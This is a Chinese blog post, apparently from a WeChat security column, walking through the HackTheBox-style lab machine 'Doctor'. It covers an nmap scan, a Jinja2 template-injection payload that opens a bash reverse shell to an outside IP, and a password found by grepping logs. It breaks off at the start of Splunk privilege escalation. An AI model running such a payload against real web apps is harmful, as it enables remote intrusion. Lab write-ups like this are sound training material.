专栏名称: 衡阳信安
船山院士网络安全团队唯一公众号,为国之安全而奋斗,为信息安全而发声!
目录
相关文章推荐
英文悦读  ·  马斯克给自家大模型取名Grok,妙在哪里? ·  昨天  
每日英语  ·  中国文化 | 打树花(Dashuhua) ·  19 小时前  
恶魔奶爸  ·  美容院,毒害了多少中国女人! ·  昨天  
清晨朗读会  ·  渊源直播 ·  2 天前  
51好读  ›  专栏  ›  衡阳信安

[Meachines] [Easy] Doctor Python-SSTI+Splunk权限提升

衡阳信安  · 公众号  ·  · 2024-08-07 00:26

正文

信息收集

IP Address Opening Ports
10.10.10.209 TCP :22,80,8089

$ nmap -p- 10.10.10.209 --min-rate 1000 -sC -sV

PORT     STATE SERVICE  VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
| 256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_ 256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Doctor
|_http-server-header: Apache/2.4.41 (Ubuntu)
8089/tcp open ssl/http Splunkd httpd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after: 2023-09-06T15:57:27
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: splunkd
|_http-server-header: Splunkd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SSTI

# echo '10.10.10.209 doctors.htb'>>/etc/hosts

$ whatweb http://doctors.htb/login -v

http://doctors.htb/register

http://doctors.htb/login

http://doctors.htb/post/new

${7*7}

http://doctors.htb/archive

{{8*8}}

{{9*'9'}}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in
x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c
'bash -i >& /dev/tcp/10.10.16.6/10032 0>&1'").read()}}{%endif%}{%endfor%}

http://doctors.htb/archive

User 权限

$ grep -R -e 'password' /var/log/ 2>/dev/null

username:shaun
password:Guitar123

$ su shaun

User.txt

89d2e206dac3a780e4859ba394f419b5

权限提升

$ ps -aux | grep splunk







请到「今天看啥」查看全文


推荐文章
每日英语  ·  中国文化 | 打树花(Dashuhua)
19 小时前
恶魔奶爸  ·  美容院,毒害了多少中国女人!
昨天
清晨朗读会  ·  渊源直播
2 天前
中国历史解密  ·  文革中被处决的第一个高级知识分子
8 年前
亲仁书屋  ·  俞敏洪:如何培养孩子的规矩?
7 年前
猎奇漫画部  ·  漫画丨可爱的家伙第11话
7 年前